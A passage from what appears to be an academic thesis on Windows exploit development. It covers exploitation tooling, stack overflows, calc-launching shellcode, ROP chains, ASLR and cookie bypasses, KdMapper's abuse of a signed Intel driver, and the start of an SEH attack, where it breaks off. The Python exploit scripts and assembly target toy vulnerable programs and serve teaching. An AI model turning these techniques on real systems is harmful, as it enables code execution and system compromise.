software versions, generating machine code, debugging, and many more.

In this chapter, we first present the Pwintools Python library, and associated scripts, in Sec-
tion 3.1. Then, we introduce two tools: Ropper, in Section 3.2, and Metasploit-Framework
Venom in Section 3.3, which are useful for some exploitation techniques. Debuggers are
discussed in Section 3.4, along with specific techniques to debug the exploits. Finally, some
tools related to kernel exploitation are presented in Section 3.5.

3.1 Pwintools

Pwntools [6] is a famous Python library that facilitates exploit development: it allows pro-
cess creation, socket connections, interaction with a debugger, input/output abstraction,
automatic byte reordering based on the desired endianness, assembly, disassembly, shell-
code generation, and many more features. Unfortunately, it only supports Linux; however,
some tools are valid on Windows, for they are Python scripts after all.
Pwintools [5] is another Python library that implements some functionality from Pwntools
on Windows, namely process creation and interaction, assembly, disassembly, and byte
reordering. In particular, it allows spawning processes and communicating with them via
standard handles. Every Python exploit script developed for this thesis uses Pwintools.
Pwntools was used too, in particular, the Cyclic script, described later.

The following is an example of the usage of Pwintools: a process is started, its standard
output (from now on, stdout) is read until a specific string occurs, then some input is given
to the process.
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p = Process('ropme.exe')
p.recvuntil(b'password:\r\n')
p.sendline(b'a'*retAddrOffs + ropchain) # this part will be read by the program

Cyclic is a script that can generate a de Bruijn sequence, that is, a string in which each
substring of a given length is never repeated. This can be useful to find, for example,
the offset between the beginning of an overflowable buffer and the saved return address
without calculating it from the disassembled code.

In order to find the offset:

• The vulnerable program is run under a debugger.

• The Cyclic-generated sequence is entered as input.

• The program will crash, hopefully at, or immediately after the execution of, the ret
instruction.

• In this case, either the program counter or the top of the stack will contain a part of
the sequence.

Since that substring is unique, passing it back to Cyclic yields the offset of that substring
from the beginning of the sequence and that offset is equal to the one from the beginning
of the buffer to the saved return address.

3.2 Ropper

Ropper [21] is a tool used to find gadgets inside an executable to perform an ROP attack,
described in Section 5.2. Specifically, Ropper scans the executable sections in the file and
finds all interpretations of the bytes near a ret instruction that are up to a configurable
number of instructions long. Ropper has a built-in regular expression parser to perform
advanced queries, but piping the output into grep is also a valid approach.

Listing 3.1 shows an usage example.

3.3 MSFVenom

MSFVenom is a tool from the Metasploit framework [20] that can generate shellcodes,
described in Section 4.3, based on the given parameters. The parameters can control the
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C:\code>ropper -f vulnerable.exe | grep ": jmp eax"

[INFO] Load gadgets for section: .text

[LOAD] loading... 100%

[LOAD] removing double gadgets... 100%

0x00401c4f: jmp eax;

C:\code>ropper -f vulnerable.exe | grep ": mov dword ptr \[ecx + 0x[0-9a-f]*\], eax"

[INFO] Load gadgets for section: .text

[LOAD] loading... 100%

[LOAD] removing double gadgets... 100%

0x0042aca3: mov dword ptr [ecx + 0x10], eax; mov byte ptr [ecx + 0x14], al; mov eax,

ecx; ret;

0x00403c99: mov dword ptr [ecx + 0x10], eax; mov dword ptr [ecx + 8], eax; mov dword

ptr [ecx + 0xc], eax; pop ebp; ret 8;

0x004114f3: mov dword ptr [ecx + 0x10], eax; mov eax, ecx; pop ebp; ret 0x14;

0x0042b1b6: mov dword ptr [ecx + 0x10], eax; pop ebp; ret 4;

0x0042b39e: mov dword ptr [ecx + 0x10], eax; ret;

...

Listing 3.1: Ropper usage

target architecture and platform, what the shellcode does, the packer, and the forbidden
bytes (that is, bytes discarded by the reading function or that stop the read). This is an
example command that generates a shellcode to open the Windows calculator.

msfvenom --arch x86 --platform windows ^

--format raw --payload windows/exec ^

--encoder x86/call4_dword_xor -o payload.bin ^

--bad-chars '\x0d\x0a' ^

CMD=C:\WINDOWS\system32\calc.exe

3.4 Debugging

During exploit development, different debuggers were used, namely x64dbg [16], GNU gdb,
and Microsoft’s cdb and windbg. None of these is made specifically to debug exploits, and,
in terms of functionalities, they are quite similar. Their differences are listed below.

x64dbg [16] is an open-source GUI debugger, that is, debugging is carried out by inter-
acting with its windows using the mouse and the keyboard. The graphical interface is very
intuitive yet complete, as shown in Figure 3.1.

Windbg and cdb are functionally the same debuggers: the former is a GUI interface to
the debugger engine, while the latter is console-based. Being developed by Microsoft, they

27



Figure 3.1: x64dbg graphical interface

offer better integration with Windows than most debuggers, in particular, they can debug
drivers and the kernel and also debug a process/driver remotely (this is the intended way
to debug the kernel, as described later in Section 3.5). Figure 3.2 shows the appearance
of windbg. Windbg preview is a newer version of windbg, featuring more modern graphics
and extensibility with the Javascript scripting language.

All three versions use the same commands, listed in Appendix A.

Gdb is the GNU debugger. It is capable of reading debug symbols in the dwarf format,
but not from .PDB files. The version I used is a port to Windows by the MinGW-w64
project [27].

3.4.1 Debugging exploits

Debugging exploits requires some extra effort with respect to debugging normal programs.
The main problem is that exploits usually need to enter non-ASCII input, and sometimes
the exploit script has to interact with the vulnerable program.

Exploit that uses Python. If the Python script spawns a process, a call to the input

built-in function can be used to pause script execution, so to give time to open the debugger
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Figure 3.2: Windbg graphical interface

and attach it to the process of the vulnerable program.

With pwintools, the library used in our exploits, a process can also be spawned in a sus-
pended state by specifying CREATE SUSPENDED in the flag parameter. In this case, calling
input is unnecessary, as the script will pause at Process::recv or similar, and the pro-
gram is resumed and continued by the debugger. For example, in cdb, ~m; g can be used
to resume the initial thread and start the program. For more details, see Appendix A.

Before resuming the process, it may be useful to insert breakpoints, then normal debug
techniques can be used to debug the exploit.

Non-interactive exploit script. If the exploit does not require interactivity, it can be
debugged by a command line debugger in the following way. The initial commands for the
debugger are printed with the echo command and chained with the && operator. Then the
payload is also chained, followed by a command to concatenate the standard input, like
cat -. Finally, all is piped to the debugger.
Here is an example with cdb: a breakpoint is inserted at address 0x401234, the program
is started, then the payload is entered in the program, followed by a newline, and the
standard input is appended to interact with the debugger.

(echo bp 401234 && echo g && python expl.py && echo. && cat -) | cdb -y . -o

program.exe
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However, cat is not available on default Windows installations, so one may use a script to
achieve the same in this case:

:label

@set /p c=

@echo.%c%

@if #"%c%"#==#"%1"# (

exit /B

)

@goto label

This will copy the stdin (that is, standard input) to stdout, until the input matches the
first parameter.

3.4.2 Debugging shellcode.

Even if the shellcode (explained in Section 4.3) can be debugged like the whole exploit,
doing so involves dealing with many problems, namely unnoticed forbidden bytes, little
stack space, DLLs that are not loaded at a given moment, collateral exceptions, guard
pages, obfuscated sections, and others. So debugging the base shellcode logic and these
problems together can become quite challenging.

Consequently, some tools were developed to debug the shellcode without injecting it into
a vulnerable program.

MSFVenom can be used to debug a shellcode: one can pass PAYLOADFILE=<filename>
to specify a file containing a shellcode and choose generic/custom as payload type. Ad-
ditionally, --format exe can be passed to output the resulting payload in a PE file. So
the shellcode is converted to a normal program and it can be debugged using traditional
techniques.

Scdbg [3] is a 32-bit shellcode emulator. It loads the shellcode at address 0x401000, that
is, a typical program entry point, then each instruction is emulated sequentially; when the
control flow reaches one of the hooked API functions, a message is printed and a realistic
result is returned without actually running the function.

Scdbg also has debugging capabilities, as it can insert breakpoints, do single-step, dump
and patch memory, disassemble and assemble.

An example shellcode that opens the calculator was run by scdbg ; its output is shown
below.
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C:\code>scdbg /f shellcode.bin

Loaded d8 bytes from file shellcode.bin

Initialization Complete..

Max Steps: 2000000

Using base offset: 0x401000

4010b1 WinExec(calc)

4010bd GetVersion()

4010d0 ExitProcess(0)

Stepcount 553949

3.5 Kernel exploitation

Doing kernel exploitation means exploiting a vulnerable driver or the kernel itself. While,
for the user-mode exploits, some simple vulnerable programs were developed, doing the
same for a driver is more technically involved. Instead, the ways listed below were used to
demonstrate kernel exploitation.

HackSys Extreme Vulnerable Driver [8], HEVD from now on, is an intentionally
vulnerable driver. It was created to support kernel exploitation learning. It provides an
ioctl code for each implemented vulnerability. Some of the vulnerabilities are stack buffer
overflow, arbitrary write, use after free, type confusion, and double fetch. Being made to
be vulnerable and exploitable, it lacks a signature, so it can only be loaded intentionally.

Intel Network Adapter Diagnostic Driver, also known as iqvw64e.sys, is a driver to
diagnose network adapter’s problems. It is developed by Intel and, as such, it is digitally
signed. It is notoriously vulnerable, but Windows has no blacklist mechanism, so it can be
loaded as any other legitimate driver. Additionally, its certificate expired, but Windows
loads drivers even if their certificate should no longer be valid.
It offers an ioctl code to perform various memory operations on arbitrary addresses. It
also has multiple improper buffer validation bugs.

It is listed here because it will be used as an example to demonstrate kernel exploitation
techniques.

KdMapper [28] is a tool to load unsigned drivers without disabling signature enforcement.
To achieve arbitrary driver loading, it loads the aforementioned Intel driver, so it requires
administrator privileges. Then, it uses Intel driver’s vulnerabilities to manually map the
driver to be loaded.
Its source contains a reusable class, whose methods wrap DeviceIoControl to fill specific
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structures to communicate with the Intel driver, along with helper methods that perform
more complex tasks using the wrappers.
These are the wrapper functions:

• MemCopy, which is equivalent to the C memcpy; the buffers can reside in user or kernel
memory.

• SetMemory, which is equivalent to the C memset.

• GetPhysicalAddress, which retrieves the physical address of an arbitrary mapped
virtual address.

• MapIoSpace, which maps an arbitrary physical address to a new page, that is readable
and writeable.

• UnmapIoSpace, which frees the memory allocated by MapIoSpace.

The helper functions combine the vulnerabilities to achieve more complex tasks. Some
helpers are listed below, as an example.

• the function WriteToReadOnlyMemory retrieves the physical address of the location
to be written, maps that physical address to a new page that is writeable, and writes
the desired data in the read-only memory through the allocated writeable page, then
it frees the allocated memory.

• The function GetKernelModuleExport receives the base address of a module, parses
the module’s PE header with the arbitrary read, and retrieves the address of the
desired exported function from the headers.

• The function CallKernelFunction hooks the kernel end of the NtAddAtom syscall to
redirect the control flow to the desired function, then calls the user-mode end of the
NtAddAtom, so that the desired function will execute.

3.5.1 Kernel debugging

Debugging kernel code is different from debugging user code in different aspects. While it
is possible for a debugger to attach to the kernel of the OS it is running on, it is not very
useful, because if the OS crashes or hits a breakpoint, the debugger stops too; additionally,
the kernel can not be paused to run several inspection commands. Instead, the usual way
to debug kernel code is using two different machines, which can be physical or virtual, and
the debugger runs in a separate machine from the debugged one. This requires OS support
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and, in fact, the Windows kernel comes in more than one binary for the same Windows
version; some binaries are built for being debugged. All versions of Windbg support kernel
debugging.

Many other differences are tied to the different execution environments, as outlined in
Section 6.1.

Windbg kernel debug procedure. In order to debug kernel exploits, two computers
are required: the debugger is run on the host computer, which is connected to the target
computer.

To setup a kernel debugging session:

1. Copy the files kdnet.exe and VerifiedNICList.xml from Windbg installation folder of
the host computer to the target computer.

2. On the target computer, open a Command Prompt as admin and run kdnet.exe to
verify that the target computer has a supported network adapter.

3. On the target computer, run kdnet passing the host computer’s IP address and the
desired port used by the debug connection.

4. Kdnet.exe’s output contains a key that has to be entered into the host computer.

5. On the host computer, open Windbg:

• on the file menu choose Kernel Debug; then follow the shown instructions and
enter the key generated by kdnet.exe; OR

• launch it with the following command:

windbg -k -d net:port=<debugPort>,key=<generatedKey>

6. Restart the target pc.

7. As the target computer boots, it will connect to the debugger on the host machine.
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Chapter 4

A traditional exploit: stack buffer
overflow

The stack-based buffer overflow attack was publicly introduced in Phrack [13], an online
magazine, in 1996. It was very easy to carry out, having sufficient knowledge, and Sec-
tion 4.1 describes all such details. Then, a Proof of Concept script, or just PoC, is dissected
in Section 4.2. It is followed by Section 4.3, which talks about the injectable code used in
the previously explained attack. Finally, a simple shellcode is explained in 4.4.

4.1 Attack details

The attack requires the following:

• The program contains a buffer overflow vulnerability,

• The above mentioned buffer is a local variable, so its storage is on the stack,

• The stack memory is executable (in the past it was always executable),

• A stack address is known, or it can be leaked, OR

• The address of a jmp esp (or similar instruction) is known.

The explanation that follows is based on exploiting 32-bit vulnerable programs; for 64-bit
programs, we would need a 64-bit shellcode, a jmp rsp instruction, and so on.

If a stack-based buffer can be overflowed, other values that follow the buffer on the stack can
be overwritten. For this attack, the saved return address is overwritten, because it is above
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the local variables’ storage in every function calling convention. Additionally, a shellcode,
described in Section 4.3, is usually written (somewhere) above the return address. The
buffer itself is valid to write the shellcode in, too. So when the currently running function
ends, the execution flow goes to an attacker-chosen location. In this attack, the execution
flow goes directly to the stack, if a stack address is known. Alternatively, the execution
flow can go to a jmp esp instruction (or similar instruction), and the stack pointer will
point to the injected shellcode, because the ret instruction consumes a stack slot to fetch
the return address, and the shellcode was injected after it. So now the vulnerable program
is doing anything the attacker wants.

Nop-sled. Another method to reach the shellcode is using a so-called nop-sled : if the
stack location can be predicted with a certain degree of accuracy, and the buffer overflow
allows for a large write, one can insert a long sequence of nop instructions, called a nop-
sled, right before the shellcode and try to guess a stack address. In this way, if the guessed
address points to a nop instruction, the program counter will keep going up while executing
nops, and the control flow will eventually reach the shellcode. The longer the nop-sled, the
higher the probability that the guessed address points to a nop.

4.2 Example

This is an example of exploitable buffer overflow vulnerability.

struct {

char buffer[32];

int guess;

} s;

puts("Enter your name:");

gets(s.buffer);

printf("Hi, %s\n", s.buffer);

The gets function does not “know” the size of the buffer, so if the user writes more
input than the buffer size, gets will write past the buffer boundaries, leading to a buffer
overflow. The apparently useless structure s was inserted to facilitate the development of
the examples: compilers can reorder local variables, so the structure enforces their ordering.
If local variables are stored above the buffer, they can be overwritten to achieve other types
of exploits. The program is compiled so that it has an executable stack, for the sake of the
example.

This is a part of the disassembled vulnerable function:
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push ebp

mov ebp, esp

sub esp, 0x24

; ...

lea eax, [ebp - 0x24]

push eax

call _gets

As the assembly shows, the buffer is allocated on the stack with sub esp, 0x24. As it is
the argument of gets, ebp - 0x24 marks the beginning of the buffer. Then ebp - 0x24

+ 0x20, or ebp - 0x4, points to the guess variable. Additionally, ebp + 0x0 points to the
saved ebp, and ebp + 0x4 is the address of the saved return address. So its offset from
the beginning of the buffer is 0x4 - (-0x24) = 0x28, that is, 40 as a decimal number.

So we can exploit the vulnerability to inject and execute a shellcode, for example, one from
MSFVenom or the one explained in Section 4.4:

from pwintools import *

retAddrOffs = 40

jmpEspAddr = 0x4070CA

f = open('shellcode.bin', 'rb')
shellcode = f.read()

f.close()

process = Process('bof.exe')

process.recvuntil(b'name:\r\n')
process.sendline(b'a'*retAddrOffs + p32(jmpEspAddr) + shellcode)

print(process.recvall())

Many a’s are written as filler to reach the saved return address. Then, the latter is
overwritten with the address of a jmp esp instruction, as Figure 4.1 shows. Finally, the
shellcode is written right after the return address, so esp will point to it after ret is
executed.

4.3 Shellcoding

The term “shellcode” indicates a standalone piece of code, usually written in assembly,
which, once injected and executed in a process, opens a shell the attacker can use. It
can also identify other code designed to be injected into a running process, usually by
leveraging a vulnerability.
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buffer overflow

40 bytes

esp before/after ret

s.buffer

..

s.guess

saved ebp

saved return address

parameters

stack before the overflow

"aaaa"

..many ’a’s..

"aaaa"

"aaaa"

address of "jmp esp"

shellcode..

stack after the overflow

Figure 4.1: Buffer Overflow Exploit explaination

A shellcode is very flexible per se, in what it can achieve, what information is needed from
the program, and what state the program is required to be in. A shellcode can directly
manipulate the attacked program state and call its functions, as it runs in the context of
a program’s thread. But, in most cases, it will interact with the operating system via its
API. Using the API, a shellcode can perform various (malicious) actions; a typical one
is to open an interactive reverse shell [9], that is, open a connection from the attacked
program to an external server, controlled by the attacker. There are two ways to achieve
API interaction, as explained in Section 2.3: via the syscall wrappers or direct syscall
invocation.

4.4 An example shellcode

An example shellcode is shown below. The shellcode retrieves the address of
kernel32!WinExec, that has the following signature:
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unsigned int WinExec(

const char * lpCmdLine,

unsigned int uCmdShow

);

The shellcode uses WinExec to open the Windows calculator: it is equivalent to the C
statement:

WinExec("C:/Windows/System32/calc.exe", SW_NORMAL);

Initially, the shellcode needs to know the address where it is located:

call getIp

here:

sub eax, here - base

push eax

The function getIp reads the return address and puts it in the eax register, then the base
address is calculated by subtracting the distance between the call and the base. The base
address is needed to know the location of the data strings:

base:

jmp entry

kernelName: dw 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', '.', 'D', 'L', 'L', 0

winExecName: db "WinExec", 0

execArg: db "C:/WINDOWS/system32/calc", 0

Now, to find the WinExec’s address, the kernel32’s base address is required. To retrieve it,
the Thread Execution Block is read from the fixed address fs:0. The TEB contains the
address of the Process Execution Block. Here, a pointer to the PEB LDR DATA structure
is read, to discover the loaded modules. Since the shellcode needs to know the kernel32’s
base address, it walks the linked list of the loaded modules and compares their names to
“KERNEL32.DLL”:

lea edx, [eax + kernelName - base]

lookForKernel32:

mov esi, [ebx + 0x28] ; UNICODE_STRING BaseDllName

mov edi, edx

mov ecx, 12 ; strlen("KERNEL32.DLL") + 1

inc ecx ; 13 is forbidden

repe cmpsw ; strncmp for wstring

je foundKernel

mov ebx, [ebx] ; (LIST_ENTRY InMemoryOrderLinks).forwardLink

test ebx, ebx

jnz lookForKernel32
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After finding the kernel32 base address, the shellcode looks for its Export Directory Table
by parsing the DLL’s PE headers.

foundKernel:

mov eax, [ebx + 0x10] ; DllBase

push eax ; stack: kernel base, shellcode base

add eax, [eax + 0x3c] ; offset of PE signature

lea esi, [eax + 4] ; COFF file header

lea edi, [esi + 20] ; optional header is after the COFF file header

movzx eax, word [edi + 0] ; magic (PE32 or PE32+)

mov ecx, 112 ; offset in PE32+

cmp eax, 0x10b ; PE32

mov eax, 96 ; offset in PE32

cmove ecx, eax

mov eax, [edi + ecx + 0] ; export directory table

add eax, [esp] ; rva to va

push eax ; stack: EDT, kernel base, shellcode base

Then, the function searchExportName performs a sequential scan of the exported func-
tions’ names to find the offset of WinExec in the name list:

; STDCALL const char ** searchExportName(const char ** first, const char ** last,

HINSTANCE base, const char * needle)

searchExportName:

push esi

push edi

mov edi, [esp + 0x18]

call strlenPlusOne

mov edx, ecx

mov eax, [esp + 0xc]

jmp loopEnter

loopBegin:

mov esi, [eax]

add esi, [esp + 0x14]

mov edi, [esp + 0x18]

mov ecx, edx

repe cmpsb

je found

add eax, 4

loopEnter:

cmp eax, [esp + 0x10]

jbe loopBegin

int 3 ; don't care about error handling

found:

pop edi

pop esi

ret 16

Once the offset is known, the ordinal is fetched with the same offset. With the ordinal, the
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actual address is also known.

shr eax, 1 ; elements in name table are 4 bytes, while in ordinal table 2

add eax, [ebx + 36] ; ordinal table rva

add eax, [esp + 4] ; rva to va

movzx eax, word [eax] ; ordinal export number

shl eax, 2

add eax, [ebx + 28] ; rva of exported address table

add eax, [esp + 4] ; rva to va

mov eax, [eax] ; rva of the function

add eax, [esp + 4] ; rva to va

Finally, kernel32!WinExec is invoked to open the calculator; the result is shown in Fig-
ure 4.2

mov ecx, [esp + 8]

add ecx, execArg - base

push dword 1

push ecx

call eax

Figure 4.2: A shellcode that opens the calculator

This shellcode is to be injected in 32-bit programs; to make a 64-bit shellcode, some changes
are required:

• the registers containing addresses are 64-bit wide
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• there are some architectural differences on x64

• the TEB is located at gs:0, see Section 2.4

• some system structures are different

• the calling convention is different, see Section 2.3
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Chapter 5

Exploits and mitigations: a game of
cat and mouse

This chapter explores several mitigations that hindered previous exploits, and the exploits
that bypassed the previous mitigations, cyclically. Section 5.1 talks about DEP, which
completely stopped stack-based buffer overflows as explained in Chapter 4. Then, DEP
was bypassed by ROP, as explained in Section 5.2. Section 5.3 talks about ASLR, which
mitigated ROP then Section 5.4 shows how to bypass ASLR using leaks.

Stack buffer overflows in general are eventually mitigated by Security Cookies, which are
described in Section 5.5. Cookies can be bypassed by both direct writes and leaks as
explained in Section 5.6 and by exploiting the SEH mechanism, as Section 5.7 will show.
Finally, CFG mitigates several types of attack as shown in Section 5.9, and some techniques
are presented in Section 5.10 to bypass it.

5.1 Data Execution Prevention (DEP)

Data Execution Prevention is a mitigation that prevents, as the name hints, data execution:
it means that if a memory region contains data (like the stack, heap, data section, etc.), an
attempt to execute code from that region will fail. This is implemented in hardware: ring
0 code (that is, kernel code) can mark a page as readable/writable but not executable.
Consequently, if the control flow is transferred in such areas, a CPU interrupt will be
triggered. So the operating system will be notified of that attempt and it will generate an
exception for the application.

DEP support in PE files. Compatibility of a program with DEP is marked in PE files
by IMAGE DLLCHARACTERISTICS NX COMPAT flag in DllCharacteristics field, in the optional
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header.

Compilers support. To enable DEP in a program compiled in Visual Studio, the
/NXCOMPAT option has to be passed to the linker.

5.2 Bypassing DEP: Return Oriented Programming

(ROP)

DEP prevents data execution, but there are other ways, for an attacker, to corrupt the
control flow and execute arbitrary code. Return Oriented Programming (ROP for short)
was publicly presented by Shacham [25].

This attack requires the following:

• Ability to overwrite the return address and above (like a stack-based buffer overflow)

• Knowledge of the exact memory layout, that is, all code and data addresses of the
program

The idea of an ROP attack is to reuse short instruction sequences, called gadgets, that
are already present in the program’s executable sections and build a so-called ropchain
that implements a (malicious) behaviour decided by the attacker. The ability to overwrite
the return address allows transferring the execution flow to the first chosen gadget. To
be chainable, a gadget must end with a return instruction, so that the execution will
depend again on the attacker-controlled stack content and go to the next gadget, and so
on. Figure 5.1 clarifies the concepts.

What can be done with an ROP attack under Windows? Everything. But a
proper gadget sequence has to be found and this is not always easy, if ever possible, based
on what you want to achieve. So a common trick is to perform a multi-stage attack. For
example, perform an ROP attack to allocate executable memory and trigger another read
from user input to inject and execute a shellcode, which is more flexible.

Example. This exploit is carried out on a vulnerable example program very similar to
the one used to show the stack-based buffer overflow. The example ropchain, shown in
Listing 5.1, allocates executable memory, reads a shellcode from stdin, and executes it. All
variables in capital letters are (semantically) constants that contain flags for VirtualAlloc
and addresses of gadgets and functions. All gadget addresses were taken using ropper,
discussed in Section 3.2.

The script performs the following steps:

43



ropchain in memory

0x004019f3

16

0x00401bd2

0x00407200

0x00401322

ret

pop ecx

ret

pop edx

ret

mov [edx], ecx

points to

goes to the address pointed by

reads

Figure 5.1: Return Oriented Programming example
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ropchain = (

p32(VIRTUAL_ALLOC_WRAPPER) + # jmp [__imp__VirtualAlloc@16]

p32(SAVE_EAX) + # mov dword ptr [0x44e78c], eax; ret;

p32(0) + # where

p32(1337) + # size

p32(MEM_RESERVE | MEM_COMMIT) +

p32(0 + PAGE_EXECUTE_READWRITE) + # without "0 +", the flag constant has a string

type

p32(MOV_ECX_ESP) + # so ecx will point to the next ring of the chain, and ecx + 16

to the arg of gets

p32(MOV_P_ECX_16_EAX) + # mov dword ptr [ecx + 0x10], eax; ret;

p32(NOP) + # ret

p32(GETS_ADDR) + # address of gets

p32(ADD_ESP_4) + # cdecl needs skipping params

p32(1337) + # this will be overwritten by MOV_P_ECX_16_EAX with the pointer to

allocated memory

p32(RESTORE_EAX) + # mov eax, dword ptr [0x44e78c]; ret;

p32(JMP_EAX)

)

Listing 5.1: Ropchain example

1. The ropchain allocates some executable memory by invoking VirtualAlloc.

2. Then, the ropchain saves the returned value, contained in eax, in a global variable in
the data section, as the eax register is volatile and its value would not be preserved
after the call to gets.

3. Now the value in eax has to be passed to gets via the stack, so the ropchain writes
eax in the memory pointed by esp (plus an offset) modifying the ropchain itself,
specifically the value passed to gets.

4. Then, it performs the call to gets to read a shellcode into the newly allocated
memory.

5. Finally, it restores eax to point to the allocated memory, which now contains the
injected shellcode, and jumps to it.

Figure 5.2 shows two consecutive gadgets and the stack content during execution in the
debugger.

Variant: stack pivoting. There are situations in which the stack is not suitable to
contain a whole ropchain, for example when the vulnerability only allows for a short write.
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Figure 5.2: ROP under the debugger lens

If another vulnerability allows for a bigger write operation, then the ropchain can be
written there. Then, with the restricted write, a smaller ropchain can be built to modify
the stack pointer so that it points to the bigger ropchain. This technique is called stack
pivoting. An example follows.

Listing 5.2 shows a program suitable to show stack pivoting. A buffer in the data section is
initialized with an unchecked read of a file, so arbitrary data can be written there. Then,
a buffer overflow vulnerability allows writing on the stack. For this attack, we assume that
the space we can write to is limited, for example, because few functions were called before
main.

pivot_ropchain = (

p32(POP_EAX) +

p32(PIVOT_ADDRESS) +

p32(STACK_PIVOT) # xchg esp, eax; ret;

)

p.sendline(b'a'*retAddrOffs + pivot_ropchain) # this will pivot to the longer ropchain

With this piece of code, the buffer overflow vulnerability is exploited to perform stack
pivoting as previously described. The stack pointer is forced to point to the global buffer
GlobalConfigs, where a longer ropchain is delivered via file.

5.3 Address Space Layout Randomization (ASLR)

Some attacks require knowledge about the exact address in memory of specific instructions
or variables to succeed. Before ASLR, this was not a problem at all for public programs,
since all programs were always loaded at a compile-time chosen address.
Instead, an ASLR-compatible program is loaded at a random offset (chosen by the Windows
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struct {

int a, b, c, d;

char title[16];

int theme, subtheme;

float volume, brightness;

int reserved[16];

} GlobalConfigs;

void loadConfig(void) {

FILE * fp;

fp = fopen("config.bin", "rb");

if (!fp) {

puts("Missing config");

*((int*)0) = 0; // don't care

}

fread(&GlobalConfigs, 1, sizeof(GlobalConfigs), fp);

fclose(fp);

}

int main(void) {

loadConfig();

char buffer[32];

gets(buffer);

Listing 5.2: Example for stack pivot

loader) in its virtual address space and relocated. However, the memory layout remains
the same, that is, the relative offsets of instructions and data from the base address do not
change.

Figure 5.3 shows some examples of relocations: the code section does not get fragmented
nor stretched, as well as the data section. So the relative offsets are not affected.

ASLR support in PE files. Compatibility of a program with ASLR is marked in PE
files by IMAGE DLLCHARACTERISTICS DYNAMIC BASE flag in DllCharacteristics field, in the
optional header.

Compilers support. Visual Studio can generate an ASLR-compatible program if the
/DYNAMICBASE option is passed to the linker.
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code

data

base = 0x00400000

code

data

base = 0x73BA0000

code

data

base = 0x286C0000

Figure 5.3: ASLR
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5.4 Bypassing ASLR: leaks

The fact that the relative offsets from the base are fixed can be exploited to bypass ASLR.
Leaking means acquiring knowledge of a piece of data that should not be exposed by the
program. The piece of data can be a bit, a number, a character, a pointer, a data structure,
or whatever. If a pointer to a known data or code location can be leaked, it is enough to
subtract the known relative offset from the leaked address to know the randomly generated
base address, and, knowing every relative offset, to know every address in the program, as
if ASLR was not in place.

Example. A simple example follows. This is the vulnerable test program:

int main(void) {

char * names[3] = {"goofy", "pluto", "donald duck"};

void * pmain = main;

void ** ppmain = &pmain;

int idx;

char buffer[32];

puts("Random dummy name generator");

while (1) {

puts("Enter a seed for the random name, or -1 to quit");

gets(buffer);

sscanf(buffer, "%d", &idx);

if (-1 == idx) {

break;

}

printf("Your random name: %s\n", names[idx]);

}

return 0;

}

Apart from the buffer overflow vulnerability, this program has an arbitrary read vulnera-
bility, as idx can be assigned any 32-bit signed integer value. In particular, it can be used
to interpret attacker-provided bytes in the buffer variable as a pointer, which can then
be used to read any memory region, given the address is known. In the example exploit,
idx is used to read a pointer that resides in the stack and points to main.

After leaking the address of main, the constant offset can be subtracted to obtain the
randomized base address, thus bypassing the protection offered by ASLR.
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p.recvuntil(b'quit\r\n')
p.sendline(b'5')

p.recvuntil(b'name: ')
leak = p.recvuntil(b'\r\n')

leak = leak[:-2][:4]

leak.ljust(4, b'\x00') # pad with zeroes if fewer than 4 bytes

mainAddr = u32(leak)

baseAddr = mainAddr - OFFS_MAIN

print('leaked main address:', hex(mainAddr), ", base address is", hex(baseAddr))

Figure 5.4 shows the actual addresses of the functions main and printFlag in the debugger;
the leaked address and the evaluated address are correct.

Figure 5.4: Actual addresses vs leaked addresses

5.5 Security Cookies

Some attacks, such as the aforementioned ones, involve overflowing buffers in the stack
to overwrite data or execution metadata. The idea of Security Cookies, or canaries, is to
detect such overflows before the memory corruption has any effect.

This is achieved by generating a random number, that is, the cookie, which is unique
among executions (or module load, more precisely). Then, in the function prologue, the
cookie is xor’ed with the frame pointer register, which is already initialized for the current
function. The resulting value is put below the return address, SEH Records, and saved
registers. Consequently, it will be above local variables, especially local buffers. Finally,
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in the epilogue, the saved cookie is xor’ed again with the frame pointer of the current
function and checked against the original value. If they differ, an overflow is detected and
an exception is generated. So if an attacker attempts to overwrite the return address via
a buffer overflow, it will also overwrite the cookie, and the attack is prevented.

The following code shows a typical prologue and epilogue of a cookie-instrumented function:

; prologue

push ebp

mov ebp, esp

sub esp, 0x34

mov eax, [___security_cookie]

xor eax, ebp

mov [ebp - 4], eax

; epilogue

mov ecx, [ebp - 4]

xor ecx, ebp

call __security_check_cookie@4

mov esp, ebp

pop ebp

ret

Security Cookies support in PE files. The Load Configuration table, that is, a data
directory, contains a pointer (RVA) to the location of the cookie global variable, where
the Windows loader will put the randomly generated value for the cookie at load time.
Note that leaking that value alone is not enough to bypass the security granted by cookies,
because the value in the stack also depends on the frame pointer register, whose value is
typically unpredictable.

Compilers support. Visual Studio can add cookie checks to functions with insecure
buffer usage if the /GS option is passed to the compiler. This option also forces (unsafely
used) buffers to be put at higher addresses, so that an overflow can not overwrite local
variables.

5.6 Bypassing cookies: alternatives to buffer overflow

Up to now, attacks were delivered via a stack-based buffer overflow. However, there are
other vulnerability types too and they can be used to bypass security cookies.

Direct write. In presence of an arbitrary write vulnerability, the saved return address
could be directly overwritten without modifying the security cookie, unlike in the case of
a sequential write in a buffer overflow.
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Consider, for example, the following vulnerable test program:

while (1) {

scanf("%d %d,%c", &x, &y, &c);

if ('k' == c) {

break;

}

if ('K' == c) {

puts(art);

}

art[y * 5 + x] = c;

}

Since the indices are not checked, an attacker can write anywhere in the program memory,
up to a distance of 10 Gib. In particular, knowing the offset between the buffer and the
saved return address, the latter can be directly overwritten as follows:

packedPrintFlag = p32(printFlagAddr)

for i in range(4):

p.sendline(

bytes(str(retAddrOffs + i), 'ascii') + # x coord

b' 0,' + # y coord

packedPrintFlag[i:i+1] # c char

)

p.sendline('0 0,k')
p.interactive()

Leak. An alternative way is to leak the saved cookie value within a stack frame. The
drawback is that it can only be used to bypass the current function’s cookie, because of
the xor operation. However, if the global value is also leaked, this leads to leaking the
frame pointer itself, and this could yield a certain advantage.

5.7 Bypassing cookies: exploiting frame-based SEH

Since the SEH Records, which were introduced in 2.5, are on the stack, a stack buffer
overflow gives an attacker the ability to overwrite them. In particular, the handler address
field in SEH Record, if overwritten, allows an attacker to hijack the execution flow when
an exception is thrown.

With executable stack. For this attack, the key point is that the exception handler is
passed parameters and, among them, one parameter points to the SEH Record, which is
stored in the stack, that is controlled by the attacker. So an attacker can put the address of
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a special gadget in the handler address. The gadget has to read the second parameter, as
the gadget was a function (it becomes a handler, effectively), and to jump to it or nearby,
so a shellcode can be injected after (or below) the SEH Record and it will be executed.

An example is shown below.

from pwintools import *

divisorOffs = 32

sehOffs = 48 # SEH_Record

